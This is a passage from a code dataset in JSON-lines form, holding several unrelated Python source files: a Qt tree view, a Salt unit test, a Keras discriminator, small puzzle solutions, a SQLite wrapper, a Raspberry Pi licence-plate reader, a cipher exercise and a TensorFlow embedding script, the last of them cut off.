self.createLeafPoint(rootNode, currentNode.variables[0], self.nodeId)\n \n else:\n newNode = CVCluster(self, rootNode, self.nodeId)\n newNode.flag = currentNode.flag\n newNode.variables = currentNode.variables\n \n needCollapse = False \n \"\"\" Add children to the rootNode to create the full tree \"\"\"\n if rootNode != None:\n #self.setCollapse(newNode)\n \n rootNode.children += [newNode]\n \n \"\"\" Create a connection between the nodes if the current node has a rootnode\"\"\"\n newConnection = CVConnection(self, rootNode, newNode)\n self.connections += [newConnection] \n \n \"\"\" get the leaf nodes \"\"\"\n if len(nodes) == 0:\n for variable in newNode.variables:\n self.createLeafPoint(newNode, variable, self.nodeId)\n \n # Rick 20091116 - skip this for debug\n # for node in nodes:\n # self.nodeId += 1\n # self.populateTree(node.subs, newNode, node, self.nodeId)\n \n \"\"\" To return the whole tree, a check will be performed for the rootnode \"\"\"\n if rootNode == None:\n return newNode\n \n def initFixStates(self):\n \"\"\" Initialize the fix states from another view if available \"\"\"\n for fixedId in self.settings.dvData.fixedClusterIds:\n self.updateState(fixedId, True, self.tree.root)\n \n def stateChange(self, id, fixed):\n \"\"\" Change the state of the cluster which might be fixed and report it \n to the other decomposition views.\n \n Paramaters: \n id - unique id of the cluster \n fixed - should the clusters be fixed or not \n \"\"\"\n self.viewportManager.updateDecompositionFixed(id, fixed)\n if fixed:\n self.settings.dvData.fixedClusterIds += [id]\n elif not fixed:\n self.settings.dvData.fixedClusterIds = filter(lambda x:x!=id, self.settings.dvData.fixedClusterIds)\n \n def updateState(self, id, fixed, rootNode):\n \"\"\" Update the fixed cluster, with the visuals. \n Parameters:\n id - unique id of the cluster\n fixed - should the cluster be fixed or not\n rootNode - recursive funcion to walk the tree\n \"\"\"\n if rootNode.identifier == id:\n if fixed and rootNode.isVisible():\n rootNode.fixGraphic.show()\n rootNode.clusterActive = True\n elif fixed and not rootNode.isVisible():\n rootNode.fixGraphic.hide()\n rootNode.clusterActive = True\n else:\n rootNode.fixGraphic.hide()\n rootNode.clusterActive = False\n self.prototypeManager.removeClusterObjects([rootNode.permCluster], True, True)\n rootNode.permCluster = None\n return True\n \n for node in rootNode.children:\n found = self.updateState(id, fixed, node)\n if found:\n break\n \n return False\n \n def createLeafPoint(self, node, variable, id):\n cvPoint = CVPoint(self, node, id)\n cvPoint.setWidthAndHeight(20, 20)\n cvPoint.prtRef = self.prototypeManager.getObjectByKey(variable) \n cvPoint.isCollapsed = False\n cvPoint.canCollapse = False\n #cvPoint.setInfoOverlay()\n node.children += [cvPoint]\n newConnection = CVConnection(self, node, cvPoint)\n self.connections += [newConnection]\n \n def setCollapse(self, node):\n node.isCollapsed = False\n if not isinstance(node, CVPoint):\n if not node.collapseFromResult():\n node.updateCluster()\n \n def determineCollapse(self, node):\n self.setCollapse(node)\n for child in node.children:\n self.determineCollapse(child)\n \n def addInfoOverlay(self):\n self.ui.graphicsScene.addItem(self.infoOverlay)\n self.infoOverlay.hide()\n \n def drawTree(self, scene, root, childNodes):\n \"\"\" The different nodes are added to the scene and will automatically be drawn \n \n Parameters:\n scene - the scene where the rootnode has to be drawn in\n root - the rootnode of the (sub-) tree\n childNode - the children of this root node\n \"\"\"\n root.setPos(root.position)\n scene.addItem(root)\n #print \"#nodes: \", len(childNodes), \" position: \",root.position.x(), \" \" , root.position.y()\n\n for node in childNodes: \n self.drawTree(scene, node, node.children)\n \n def drawConnections(self, scene):\n \"\"\" The connections between the nodes are added to the scene and will automatically be drawn \n \n Parameters:\n scene - the scene where the connections has to be drawn in\n \"\"\"\n for connection in self.connections:\n #connection.setPos()\n scene.addItem(connection)\n \n def showConnections(self):\n \"\"\" Show/hide the connections between the nodes, this depends if the node is collapsed \"\"\"\n for connection in self.connections:\n connection.setPos(connection.nodeTo.position)\n if connection.nodeFrom.isCollapsed or (connection.nodeTo.isVisible() == False):\n connection.hide()\n else:\n connection.show()\n \n def updateConnections(self):\n for connection in self.connections:\n connection.update()\n \n def nrVisibleConnections(self):\n number = 0\n #for connection in self.connections:\n #print \"x, y: \" , connection.x(), connection.y()\n #print \"nr of visible connections: \" , number \n \n def updateNodePositions(self, node):\n \"\"\" Map the position of the nodes in the tree on the graphical view \n \n Parameters:\n node - a node in the tree for which the position is set\n \"\"\"\n node.setPos(node.position)\n\n for childNode in node.children:\n self.updateNodePositions(childNode)\n\n def updateSceneRect(self, rectList=None):\n self.ui.graphicsScene.setSceneRect(self.ui.graphicsScene.itemsBoundingRect())\n \n def updateTreeOrientation(self):\n self.tree.orientation = self.settings.dvData.treeAlignment\n \n def zoomIn(self):\n \"\"\" Zoom in the graphics view, by updating the vertical slider \"\"\"\n self.ui.verticalSlider.setValue(self.ui.verticalSlider.value() + 1)\n \n def zoomOut(self):\n \"\"\" Zoom out the graphics view, by updating the vertical slider \"\"\"\n self.ui.verticalSlider.setValue(self.ui.verticalSlider.value() - 1)\n \n def fit(self):\n \"\"\" Fits the tree exactly in the graphics view \"\"\"\n self.ui.graphicsView.fitInView(0.0, 0.0, self.ui.graphicsScene.width(), self.ui.graphicsScene.height(), QtCore.Qt.KeepAspectRatio)\n \"\"\" Update the slider \"\"\"\n value = (math.log(self.ui.graphicsView.matrix().m11(),2)*50) + 250.0\n self.ui.verticalSlider.setValue(value)\n \n def collapseAll(self, node):\n if node.canCollapse:\n node.collapse()\n for childNode in node.children:\n self.collapseAll(childNode)\n \n def expandAll(self, node):\n node.expand()\n for childNode in node.children:\n self.expandAll(childNode)\n \n def collapse(self):\n if self.collapsed:\n self.collapsed = False\n self.collapseAll(self.tree.root)\n else:\n self.collapsed = True\n self.expandAll(self.tree.root)\n \n self.updateTree()\n self.update()\n \n def setupMatrix(self, value):\n \"\"\" Zoom in/out the graphics view, depending on the value of the slider \n \n Parameters\n value - value of the updated slider\n \"\"\"\n scale = math.pow(2.0, (self.ui.verticalSlider.value()-250.0)/50.0)\n matrix = QtGui.QMatrix()\n matrix.scale(scale,scale)\n\n self.ui.graphicsView.setMatrix(matrix)\n","repo_name":"philetus/geosolver","sub_path":"workbench/compositionView.py","file_name":"compositionView.py","file_ext":"py","file_size_in_byte":13595,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"}
+{"seq_id":"12854624344","text":"\"\"\"\n :codeauthor: Rahul Handay \n\"\"\"\n\nimport pytest\n\nimport salt.states.rabbitmq_cluster as rabbitmq_cluster\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {rabbitmq_cluster: {}}\n\n\ndef test_joined():\n \"\"\"\n Test to ensure the current node joined\n to a cluster with node user@host\n \"\"\"\n ret = {\"name\": \"salt\", \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n mock = MagicMock(side_effect=[[\"rahulha@salt\"], [\"\"], [\"\"]])\n with patch.dict(rabbitmq_cluster.__salt__, {\"rabbitmq.cluster_status\": mock}):\n ret.update({\"comment\": \"Already in cluster\"})\n assert rabbitmq_cluster.joined(\"salt\", \"salt\", \"rahulha\") == ret\n\n with patch.dict(rabbitmq_cluster.__opts__, {\"test\": True}):\n ret.update(\n {\n \"result\": None,\n \"comment\": \"Node is set to join cluster rahulha@salt\",\n \"changes\": {\"new\": \"rahulha@salt\", \"old\": \"\"},\n }\n )\n assert rabbitmq_cluster.joined(\"salt\", \"salt\", \"rahulha\") == ret\n\n with patch.dict(rabbitmq_cluster.__opts__, {\"test\": False}):\n mock = MagicMock(return_value={\"Error\": \"ERR\"})\n with patch.dict(rabbitmq_cluster.__salt__, {\"rabbitmq.join_cluster\": mock}):\n ret.update({\"result\": False, \"comment\": \"ERR\", \"changes\": {}})\n assert rabbitmq_cluster.joined(\"salt\", \"salt\", \"rahulha\") == ret\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/states/rabbitmq/test_cluster.py","file_name":"test_cluster.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"}
+{"seq_id":"43501595352","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nfile: discriminators.py\ndescription: discrimination submodel for [arXiv/1701.05927]\nauthor: Luke de Oliveira (lukedeoliveira@lbl.gov)\n\"\"\"\n\nimport keras.backend as K\nfrom keras.layers import (Input, Dense, Reshape, Flatten, Lambda, merge,\n Dropout, BatchNormalization)\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import (UpSampling2D, Conv2D, ZeroPadding2D,\n AveragePooling2D)\nfrom keras.layers.local import LocallyConnected2D\nfrom keras.models import Model\n\nfrom .ops import minibatch_discriminator, minibatch_output_shape, Dense3D\n\nK.set_image_dim_ordering('tf')\n\n\ndef discriminator():\n\n image = Input(shape=(25, 25, 1))\n\n # block 1: normal 5x5 conv,\n # *NO* batchnorm (recommendation from [arXiv/1511.06434])\n x = Conv2D(32, 5, 5, border_mode='same')(image)\n x = LeakyReLU()(x)\n x = Dropout(0.2)(x)\n\n # block 2: 'same' bordered 5x5 locally connected block with batchnorm and\n # 2x2 subsampling\n x = ZeroPadding2D((2, 2))(x)\n x = LocallyConnected2D(8, 5, 5, border_mode='valid', subsample=(2, 2))(x)\n x = LeakyReLU()(x)\n x = BatchNormalization()(x)\n x = Dropout(0.2)(x)\n\n # block 2: 'same' bordered 5x5 locally connected block with batchnorm\n x = ZeroPadding2D((2, 2))(x)\n x = LocallyConnected2D(8, 5, 5, border_mode='valid')(x)\n x = LeakyReLU()(x)\n x = BatchNormalization()(x)\n x = Dropout(0.2)(x)\n\n # block 3: 'same' bordered 3x3 locally connected block with batchnorm and\n # 2x2 subsampling\n x = ZeroPadding2D((1, 1))(x)\n x = LocallyConnected2D(8, 3, 3, border_mode='valid', subsample=(2, 2))(x)\n x = LeakyReLU()(x)\n x = BatchNormalization()(x)\n x = Dropout(0.2)(x)\n\n x = AveragePooling2D((2, 2))(x)\n h = Flatten()(x)\n\n dnn = Model(image, h)\n\n image = Input(shape=(25, 25, 1))\n\n dnn_out = dnn(image)\n\n # nb of features to obtain\n nb_features = 20\n\n # dim of kernel space\n vspace_dim = 10\n\n # creates the kernel space for the minibatch discrimination\n K_x = Dense3D(nb_features, vspace_dim)(dnn_out)\n\n minibatch_featurizer = Lambda(minibatch_discriminator,\n output_shape=minibatch_output_shape)\n\n # concat the minibatch features with the normal ones\n features = merge([\n minibatch_featurizer(K_x),\n dnn_out\n ], mode='concat')\n\n # fake output tracks binary fake / not-fake, and the auxiliary requires\n # reconstruction of latent features, in this case, labels\n fake = Dense(1, activation='sigmoid', name='generation')(features)\n aux = Dense(1, activation='sigmoid', name='auxiliary')(features)\n\n return Model(input=image, output=[fake, aux])\n","repo_name":"ss2165/delphes-gans","sub_path":"models/lagan/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"1557654620","text":"# Map class\nimport os\nimport cv2\nimport yaml\n\nclass Map:\n def __init__(self, **kwargs):\n if 'yaml_path' in kwargs:\n self.load_yaml(kwargs['yaml_path'])\n \n def load_yaml(self, yaml_path):\n print(' loading map from yaml {}'.format(yaml_path))\n with open(yaml_path, \"r\") as f:\n _yaml = yaml.safe_load(f)\n map_img_path = os.path.join(os.path.dirname(yaml_path), _yaml['image'])\n self.img = cv2.imread(map_img_path, 0)\n self.img[self.img==0] = 1\n self.img[self.img==255] = 0\n self.height, self.width = self.img.shape\n self.resolution = _yaml['resolution']\n self.origin = _yaml['origin']\n self.occupied_thresh = _yaml['occupied_thresh']\n self.free_thresh = _yaml['free_thresh']\n","repo_name":"poine/pysbpl","sub_path":"pysbpl/map_util.py","file_name":"map_util.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42556130230","text":"import sys\nimport os\nimport intcode\n\ndef getFileContent(path):\n\tfi = open(path, \"r\")\n\tcontent = fi.read()\n\tfi.close()\n\treturn content\n\ndef main():\n\tscript_directory = sys.path[0]\n\tinput_path = \"input.txt\" # path relative to the script directory\n\tfull_path = os.path.join(script_directory, input_path)\n\n\tcode = getFileContent(full_path)\n\tfor x in range (99):\n\t\t\tfor y in range(99):\n\t\t\t\tparsed_code = intcode.parseIntcode(code)\n\t\t\t\tparsed_code[1] = x\n\t\t\t\tparsed_code[2] = y\n\t\t\t\tmemory = intcode.executeIntcode(parsed_code)\n\t\t\t\tif memory[0] == 19690720:\n\t\t\t\t\tprint(\"noun={} verb={}\".format(x, y))\n\t\t\t\t\tbreak\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"known-as-dan/advent-of-code-2019","sub_path":"day-2/puzzle_2.py","file_name":"puzzle_2.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"32162161217","text":"# encoding: utf-8\n\nimport random\nimport zmq\nimport time\n\ncontext = zmq.Context()\nworker = context.socket(zmq.DEALER)\nworker.setsockopt_string(zmq.IDENTITY, str(random.randint(0, 8000)))\nworker.connect(\"tcp://localhost:5559\")\nstart = False\nworker.send_string(\"Hello\")\nwhile True:\n if start:\n worker.send_string(f\"recording data: {random.randint(0, 100)}\")\n time.sleep(0.5)\n request = worker.recv_string()\n if request == \"START\":\n start = True\n elif request == \"STOP\":\n start = False\n if request == \"END\":\n print(\"A is finishing\")\n break","repo_name":"ecedreamer/zmq-patterns-python","sub_path":"patterns/dealerrouter/dealer.py","file_name":"dealer.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1000684736","text":"\"\"\"add transgenes as seperate table\n\nRevision ID: b097367ca68d\nRevises: cacded29a323\nCreate Date: 2022-08-05 12:52:54.458376\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b097367ca68d'\ndown_revision = 'cacded29a323'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('transgene',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('fish_id', sa.Integer(), nullable=True),\n sa.Column('name', sa.String(length=128), nullable=True),\n sa.Column('unidentified', sa.Boolean(), nullable=True),\n sa.Column('identified', sa.Boolean(), nullable=True),\n sa.Column('homozygous', sa.Boolean(), nullable=True),\n sa.Column('heterozygous', sa.Boolean(), nullable=True),\n sa.Column('hemizygous', sa.Boolean(), nullable=True),\n sa.ForeignKeyConstraint(['fish_id'], ['fish.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('transgene')\n # ### end Alembic commands ###\n","repo_name":"MarcusOWilliams/FishFile","sub_path":"migrations/versions/b097367ca68d_add_transgenes_as_seperate_table.py","file_name":"b097367ca68d_add_transgenes_as_seperate_table.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"16665961537","text":"# coding=utf8\n\nfrom __future__ import unicode_literals\nfrom six import iteritems\n\nimport os\nimport time\nimport sqlite3\nfrom copy import deepcopy\nfrom tqdm import tqdm\nfrom queue import Queue\nfrom threading import Thread\n\n\nimport sys\nPY2 = int(sys.version[0]) == 2\n\nif PY2:\n text_type = unicode # noqa\n binary_type = str\n string_types = (str, unicode) # noqa\n unicode = unicode # noqa\n basestring = basestring # noqa\nelse:\n text_type = str\n binary_type = bytes\n string_types = (str,)\n unicode = str\n basestring = (str, bytes)\n\n\nimport json\nimport sqlite3\nimport numpy as np\n\n\nclass SQLiteDB(object):\n\n def __init__(self, db_path, n_samples=None, read_only=True, load_now=False):\n self.db_path = db_path\n self.n_samples = n_samples\n\n self.conn = None\n self.cursor = None\n self.saved_length = None\n self.writer_inited = False\n\n self.words, self.sindex = None, None\n\n self.samples = None\n if load_now:\n self.get_cursor()\n self.init_saved_length()\n self.cursor.close()\n self.conn = None\n self.cursor = None\n\n def __iter__(self):\n self.n = 0\n return self\n\n def next(self):\n if self.n == self.__len__():\n raise StopIteration\n n = self.n\n self.n += 1\n return self[n]\n\n def __next__(self):\n return self.next()\n\n @property\n def all_samples(self):\n \"\"\"return all samples in this dataset\"\"\"\n return [self[i] for i in range(len(self))]\n\n def get_cursor(self):\n if self.cursor is not None:\n return\n\n conn = sqlite3.connect( # WAL mode for multi-processing\n self.db_path, \n isolation_level=None, # https://www.cnblogs.com/Gaimo/p/16098045.html\n check_same_thread=False, # https://codeantenna.com/a/VNKPkxjiFx\n timeout=2.5)\n\n conn.row_factory = sqlite3.Row\n self.conn = conn\n self.cursor = conn.cursor()\n \n # WAL mode for multi-processing\n self.cursor.execute('PRAGMA journal_mode=wal') # https://www.coder.work/article/2441365\n self.cursor.execute('PRAGMA synchronous=OFF') # \n\n def remove_file(self):\n import os\n os.remove(self.db_path)\n\n def init_writer(self):\n if self.writer_inited:\n return\n\n self.get_cursor()\n # if os.path.exists(self.db_path):\n # logging.warn('removing the existing dataset')\n # os.remove(self.db_path)\n\n # create table\n try:\n self.cursor.execute(\n 'CREATE TABLE samples (word TEXT PRIMARY KEY NOT NULL, confusion TEXT, sindex INT)')\n self.conn.commit()\n except Exception as e:\n print(f\"{e}\")\n self.writer_inited = True\n\n def write(self, samples, sid_offset=0):\n self.init_writer()\n self.init_saved_length(force=True)\n\n if self.saved_length is not None:\n sid_offset = self.saved_length\n # execute\n for i, (word, confusion) in tqdm(enumerate(samples.items())):\n if isinstance(confusion, list):\n confusion = '\\x01'.join(confusion)\n try:\n self.cursor.execute(\n \"insert into samples(word, confusion, sindex) values ('{}', '{}', {})\".format(\n word, confusion, i+sid_offset))\n # error:\n # sqlite3.DatabaseError: database disk image is malformed\n # https://blog.csdn.net/The_Time_Runner/article/details/106590571\n except Exception as e:\n if isinstance(e, sqlite3.IntegrityError):\n print(f\"Overwrite {i}-th word {word}.\")\n self.cursor.execute(\n \"UPDATE samples SET confusion='{}' WHERE word='{}'\".format(confusion, word))\n else:\n print(type(e), e)\n\n self.conn.commit()\n self.init_saved_length(force=True)\n\n def get_by_word(self, word):\n self.get_cursor()\n self.init_saved_length()\n\n try:\n if isinstance(word, list):\n # sid_str = \" \".join([f\"'_s'\" for _s in sid])\n # sql = \"SELECT data FROM samples WHERE sid IN ({}) \".format(sid_str)\n samples = [self.get_by_word(_s) for _s in word]\n return samples\n else:\n sql = \"select confusion from samples where word = '{}' \".format(word)\n sample = self.cursor.execute(sql).fetchone()[0]\n # ret = self.cursor.execute(sql).fetchall()[0][0]\n except Exception as e:\n print(f\"{e}\\nError at:\", sql)\n raise ValueError()\n return deepcopy(sample)\n\n def init_saved_length(self, force=False):\n if not force and self.sindex is not None:\n return\n self.get_cursor()\n word_index = self.cursor.execute(\n \"select word, sindex from samples\").fetchall()\n if self.n_samples:\n word_index = word_index[: self.n_samples]\n self.words, self.sindex = zip(*word_index)\n assert len(set(self.words)) == len(self.words)\n del word_index\n\n self.saved_length = len(self.words)\n # logging.warn(json.dumps(self.sids))\n\n def __getitem__(self, sindex):\n if self.cursor is None:\n self.get_cursor()\n self.init_saved_length()\n if isinstance(sindex, int):\n word = self.words[sindex]\n else:\n word = sindex\n return self.get_by_word(word)\n\n def __len__(self):\n return self.saved_length\n\n\ndef write_existed_samples(txt_path, db_path):\n db = SQLiteDB(db_path, load_now=False)\n db.remove_file()\n samples = open(txt_path, 'r')\n db.write(samples)\n\n\ndef single_thread_load_samples(_id, dataset):\n print(f\"init {_id}-th subprocess.\")\n total_length = 0\n for i in range(1000):\n res = dataset[i]\n total_length += res.__len__()\n # print(\"Loaded {} charaters.\".format(total_length))\n\ndef test_multiprocessing(dataset):\n import multiprocessing\n print('Run the main process (%s).' % (os.getpid()))\n\n i = 0\n n_cores = 32\n for i in range(n_cores):\n p = multiprocessing.Process(\n target=single_thread_load_samples,\n args=(i, dataset))\n p.start()\n print('Waiting for all subprocesses done ...')\n\n\nif __name__ == \"__main__\":\n import time\n start_time = time.time()\n test_db_path = './tmp/confusionset_sighan.221110.db'\n\n dataset = SQLiteDB(\n test_db_path, \n load_now=True)\n\n dataset.write({}, sid_offset=dataset.saved_length)\n\n print(\"Init SQLite Ends.\", time.time() - start_time)\n print(\"The first sample is:\", dataset[0])\n # test_multiprocessing(dataset)\n","repo_name":"okcd00/CDConfusor","sub_path":"data/sqlite_db.py","file_name":"sqlite_db.py","file_ext":"py","file_size_in_byte":6873,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"4676096365","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the workbook function below.\ndef workbook(n, k, arr):\n total_pages = 1\n page_questions = {}\n for i in range(1, len(arr)+1):\n ques_i = [j for j in range(1, arr[i-1] + 1)]\n cnt = 0\n if arr[i-1] % k == 0:\n for _ in range(arr[i-1] // k):\n page_questions[total_pages] = ques_i[cnt: k+cnt]\n cnt += k\n total_pages += 1\n else:\n for _ in range(arr[i-1] // k):\n page_questions[total_pages] = ques_i[cnt: k+cnt]\n cnt += k\n total_pages += 1\n page_questions[total_pages] = ques_i[cnt: k+cnt]\n total_pages += 1\n \n sp_questions = 0\n \n for page, ques in page_questions.items():\n if page in ques:\n sp_questions += 1\n \n return sp_questions\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n nk = input().split()\n\n n = int(nk[0])\n\n k = int(nk[1])\n\n arr = list(map(int, input().rstrip().split()))\n\n result = workbook(n, k, arr)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"walkershashi/myCoders","sub_path":"HackerRank/Problem Solving/Algorithms/Lisa Workbook.py","file_name":"Lisa Workbook.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1971508427","text":"# Sample Python file\n# DO NOT MAKE CHANGES DIRECTLY TO THIS FILE\n# Instead, copy it and rename it to .py and make changes to that one\n\n\ndef say_hello(name: str):\n print(f\"Hello, my name is {name}!\")\n\n\nif __name__ == \"__main__\":\n name = \"Waterloo Rocketry\"\n say_hello(name)\n","repo_name":"waterloo-rocketry/software-onboarding","sub_path":"files/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2986601378","text":"import cv2\nimport imutils\nimport time\nimport numpy as np\nimport pytesseract\nimport subprocess\nimport shlex\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\n\n\n\n\navalibleTable = 'Moje:CB 807KN , Testowe: CB 1070Y'\ncamera = PiCamera()\ncamera.resolution = (640, 480)\ncamera.framerate = 30\nrawCapture = PiRGBArray(camera, size=(640, 480))\nwhile True:\n for frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n image = frame.array\n cv2.imshow(\"Frame\", image)\n key = cv2.waitKey(1) & 0xFF\n rawCapture.truncate(0)\n if image.any():\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # convert to grey scale\n gray = cv2.bilateralFilter(gray, 11, 17, 17) # Blur to reduce noise\n edged = cv2.Canny(gray, 30, 200) # Perform Edge detection\n cnts = cv2.findContours(edged.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n cnts = sorted(cnts, key=cv2.contourArea, reverse=True)[:10]\n screenCnt = None\n for c in cnts:\n peri = cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, 0.018 * peri, True)\n if len(approx) == 4:\n screenCnt = approx\n break\n if screenCnt is None:\n detected = 0\n print(\"Brak tablic\")\n #time.sleep(1)\n else:\n detected = 1\n if detected == 1:\n cv2.drawContours(image, [screenCnt], -1, (0, 255, 0), 3)\n if cv2.drawContours:\n mask = np.zeros(gray.shape, np.uint8)\n new_image = cv2.drawContours(mask, [screenCnt], 0, 255, -1, )\n new_image = cv2.bitwise_and(image, image, mask=mask)\n (x, y) = np.where(mask == 255)\n (topx, topy) = (np.min(x), np.min(y))\n (bottomx, bottomy) = (np.max(x), np.max(y))\n Cropped = gray[topx:bottomx + 1, topy:bottomy + 1]\n text = pytesseract.image_to_string(Cropped, config='--psm 11')\n print(\"Detected Number is:\", text, time.time())\n if avalibleTable.find(text[0:8]) > -1:\n print('****************')\n print('MAMY TO !!!')\n print('****************')\n subprocess.call(shlex.split('/home/pi/Desktop/radio/power.sh 1'))\n time.sleep(10)\n subprocess.call(shlex.split('/home/pi/Desktop/radio/power.sh 0'))\n else:\n print('nie znalazł')\n cv2.imshow(\"Frame\", image)\n cv2.imshow('Cropped', Cropped)\n # cv2.waitKey(0)\n time.sleep(1)\n# cv2.destroyAllWindows()","repo_name":"Wilkuuu/CarPlate","sub_path":"rec.py","file_name":"rec.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"13405477231","text":"import sys\n\ndef main():\n try:\n token = sys.argv[1] \n except:\n raise ValueError(\"Usage: substitution.py key\")\n # assert that it's 26 characters \n if not len(token)==26: raise ValueError(\"Key must contain 26 characters.\")\n\n token += token.lower()\n\n hash_token = {i:x for i,x in enumerate(token)}\n\n # get input of word\n while True:\n text = input(\"plaintext: \")\n if not text:\n continue\n else:\n break\n \n # map the words\n alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n alphabet += alphabet.lower()\n hash_alpha = {x:i for i,x in enumerate(alphabet)}\n result = ''\n for l in text:\n # get the index of the aplhabet\n if l not in hash_alpha:\n result += l\n else:\n result += hash_token[hash_alpha[l]]\n\n print(result)\n return result\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"maxengelhard/computerscience","sub_path":"substitution/substitution.py","file_name":"substitution.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"70033625214","text":"## Exercise 8: Widgets and Gizmos\n\nweightOfEachWidget = 75\nweightOfEachGizmo = 112\n\nwidgets = int(input(\"Enter the number of widgets: \"))\ngizmos = int(input(\"Enter the number of gizmos: \"))\n\nwidgetsWeight = widgets * weightOfEachWidget\ngizmosWeight = gizmos * weightOfEachGizmo\ntotalWeight = widgetsWeight + gizmosWeight\n\nprint(f\"The total weight for {widgets} widgets and {gizmos} gizmos is {totalWeight} grams.\")\n","repo_name":"alexmatros/the-python-workbook-solutions","sub_path":"1_introduction_to_programming_exercises/exercise08_widgetsandgizmos.py","file_name":"exercise08_widgetsandgizmos.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2371922995","text":"# -*- coding: utf-8 -*- \n# file: vmat2vec.py\n# python3 supported only \n#\n# Frames embeding from 2-D video-mat(s) to 1-D video-vec(s). \n# This processing of Frames Embedding is based on FCNN (Frames supported Convolution Network)\n# Features of a video should be extracted as \n# The 1-D video-vec can be used representing the content of the video\n#\n#\n# 2017-06-22 by fengyoung(fengyoung1982@sina.com)\n#\n\nimport sys\nimport os\nimport tensorflow as tf\nimport time\nimport numpy as np\nfrom embedding import util\nfrom embedding import fcnn\nfrom embedding import vmp_file\n\ntf.app.flags.DEFINE_string('input_file', '', 'Input vmp file. Pattern-string proto supported only')\ntf.app.flags.DEFINE_string('fcnn_model', '', 'FCNN model file')\ntf.app.flags.DEFINE_string('output_file', '', 'Output video-vec file. Pattern-string proto supported only')\n\nFLAGS = tf.app.flags.FLAGS\n\n\ndef main(_):\n\tif not FLAGS.input_file:\n\t\ttf.logging.error(' The input file/path must be indicated!!')\n\t\treturn -1\n\tif not os.path.exists(FLAGS.input_file): \n\t\ttf.logging.error(' The input file \\\"%s\\\" does\\'t exist!!' % FLAGS.input_file)\n\t\treturn -1\n\n\tif not FLAGS.output_file:\n\t\ttf.logging.error(' The output file/path must be indicated!!')\n\t\treturn -1\n\n\tif not FLAGS.fcnn_model: \n\t\ttf.logging.error(' The FCNN model file must be indicated!!')\n\t\treturn -1\n\tif not os.path.exists(FLAGS.fcnn_model):\n\t\ttf.logging.error(' The FCNN model file \\\"%s\\\" does\\'t exist!' % FLAGS.fcnn_model)\n\t\treturn -1\n\t\n\tfcnn_model = fcnn.FCNN()\n\tglobal_step = tf.Variable(0, name=\"global_step\", trainable=False)\n\tappend = False\n\n\twith tf.Session() as sess: \n\t\tsaver = tf.train.Saver(write_version=tf.train.SaverDef.V2)\n\t\tsess.run([tf.global_variables_initializer(), tf.local_variables_initializer()])\n\t\tsaver.restore(sess, FLAGS.fcnn_model)\n\t\ttf.logging.info(' Restoring model from \\\"%s\\\"' % FLAGS.fcnn_model)\n\n\t\tx = tf.placeholder(tf.float32, shape = [1, fcnn.VM_HEIGHT, fcnn.VM_WIDTH, 1])\n\t\tz = fcnn_model.feature_detect(x)\n\n\t\tfp = open(FLAGS.input_file, 'r')\n\t\ttry:\n\t\t\tmids = []\n\t\t\tlabels = []\n\t\t\tvideo_vecs = []\n\t\t\tcnt = 0\n\t\t\tfor line in fp: \n\t\t\t\tif len(line.rstrip()) == 0:\n\t\t\t\t\tcontinue\n\t\t\t\tstart_time = time.time()\n\t\t\t\tmid, label, feat = vmp_file.parse_pattern_string(line.rstrip())\n\t\t\t\tvideo_mat = np.reshape(util.mat_shape_normalize(feat, 